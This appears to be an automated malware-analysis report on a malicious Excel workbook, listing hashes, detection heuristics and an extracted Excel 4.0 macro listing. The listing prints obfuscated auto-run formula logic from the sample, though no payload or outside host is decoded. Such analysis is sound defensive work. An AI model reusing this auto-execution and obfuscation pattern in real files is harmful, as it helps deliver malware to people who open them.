Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 158ac9870d97c494…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: cfee31718fb1609b310d9b9c34179771 SHA-1: 15e3dac850c6bc8a3176ce00b32564f43f9be6af SHA-256: 158ac9870d97c494e555b57a61f42990393c5fb631d1e3cca008c191d203567e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6632 bytes
SHA-256: 7d1169cc188c23357a444ccd209932a83a37286560429e7a2e1c764b38c21c92
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WHYZv
' 0018     22 LABEL : Cell Value, String Constant - aOurPNH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A138 
' 0018     25 LABEL : Cell Value, String Constant - cFUMcpWoxS len=0 
' 0018     21 LABEL : Cell Value, String Constant - eWkzMx len=0 
' 0018     23 LABEL : Cell Value, String Constant - Gafbvgme len=0 
' 0018     23 LABEL : Cell Value, String Constant - hxrNAITC len=0 
' 0018     20 LABEL : Cell Value, String Constant - iSuBA len=0 
' 0018     26 LABEL : Cell Value, String Constant - lnNqvAFYkPI len=0 
' 0018     20 LABEL : Cell Value, String Constant - lpiuX len=0 
' 0018     27 LABEL : Cell Value, String Constant - LZIEeqrYbwNy len=0 
' 0018     24 LABEL : Cell Value, String Constant - mZGsckGoj len=0 
' 0018     23 LABEL : Cell Value, String Constant - prDxjBLC len=0 
' 0018     26 LABEL : Cell Value, String Constant - reSbwASDZZU len=0 
' 0018     24 LABEL : Cell Value, String Constant - tdlldqGSy len=0 
' 0018     20 LABEL : Cell Value, String Constant - twVGz len=0 
' 0018     27 LABEL : Cell Value, String Constant - uhAuqBTPEwES len=0 
' 0018     25 LABEL : Cell Value, String Constant - WXWzHuzgRa len=0 
' 0018     22 LABEL : Cell Value, String Constant - XLOUnfH len=0 
' 0018     25 LABEL : Cell Value, String Constant - YddMWckSuX len=0 
' 0018     26 LABEL : Cell Value, String Constant - yXzPtzFKhVk len=0 
' 0018     27 LABEL : Cell Value, String Constant - zWlkNDUIsltu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WHYZv,A55,"SET.NAME("hxrNAITC",0+VALUE("0"))",""
'  WHYZv,A58,"SET.NAME("cFUMcpWoxS",hxrNAITC)",""
'  WHYZv,A63,"SET.NAME("lnNqvAFYkPI",hxrNAITC)",""
'  WHYZv,A67,"SET.NAME("YddMWckSuX",COUNTA(uhAuqBTPEwES))",""
'  WHYZv,A69,"SET.NAME("tdlldqGSy",COUNTA(prDxjBLC))",""
'  WHYZv,A72,[],""
'  WHYZv,A74,"SET.NAME("XLOUnfH","")",""
'  WHYZv,A76,"cFUMcpWoxS",""
'  WHYZv,S76,"",-447.00000000000000000000
'  WHYZv,S77,"",964.00000000000000000000
'  WHYZv,S78,"",-260.00000000000000000000
'  WHYZv,S79,"",33.00000000000000000000
'  WHYZv,A80,"SET.NAME("Gafbvgme",HLOOKUP("*",uhAuqBTPEwES,cFUMcpWoxS,FALSE))",""
'  WHYZv,S80,"",-188.00000000000000000000
'  WHYZv,S81,"",533.00000000000000000000
'  WHYZv,A85,"reSbwASDZZU",""
'  WHYZv,A87,"SET.NAME("lpiuX",hxrNAITC)",""
'  WHYZv,A89,[],""
'  WHYZv,A92,"lpiuX",""
'  WHYZv,A96,"LZIEeqrYbwNy",""
'  WHYZv,A100,"WXWzHuzgRa",""
'  WHYZv,A102,"twVGz",""
'  WHYZv,A107,"SET.NAME("zWlkNDUIsltu",VALUE(HLOOKUP("*",prDxjBLC,twVGz,FALSE)))",""
'  WHYZv,A112,"aOurPNH",""
'  WHYZv,A114,"XLOUnfH",""
'  WHYZv,A117,"lnNqvAFYkPI",""
'  WHYZv,A119,NEXT(),""
'  WHYZv,A122,"yXzPtzFKhVk",""
'  WHYZv,A124,[],""
'  WHYZv,A128,"eWkzMx",""
'  WHYZv,A133,NEXT(),""
'  WHYZv,A135,RETURN(),""
'  WHYZv,A164,"SET.NAME("iSuBA",A55)",""
'  WHYZv,A169,"uhAuqBTPEwES",""
'  WHYZv,A174,"SET.NAME("prDxjBLC",R67C15)",""
'  WHYZv,A179,"SET.NAME("eWkzMx",190)",""
'  WHYZv,A184,"SET.NAME("mZGsckGoj",1)",""
'  WHYZv,A189,iSuBA(),""
'  WHYZv,A190,HALT(),""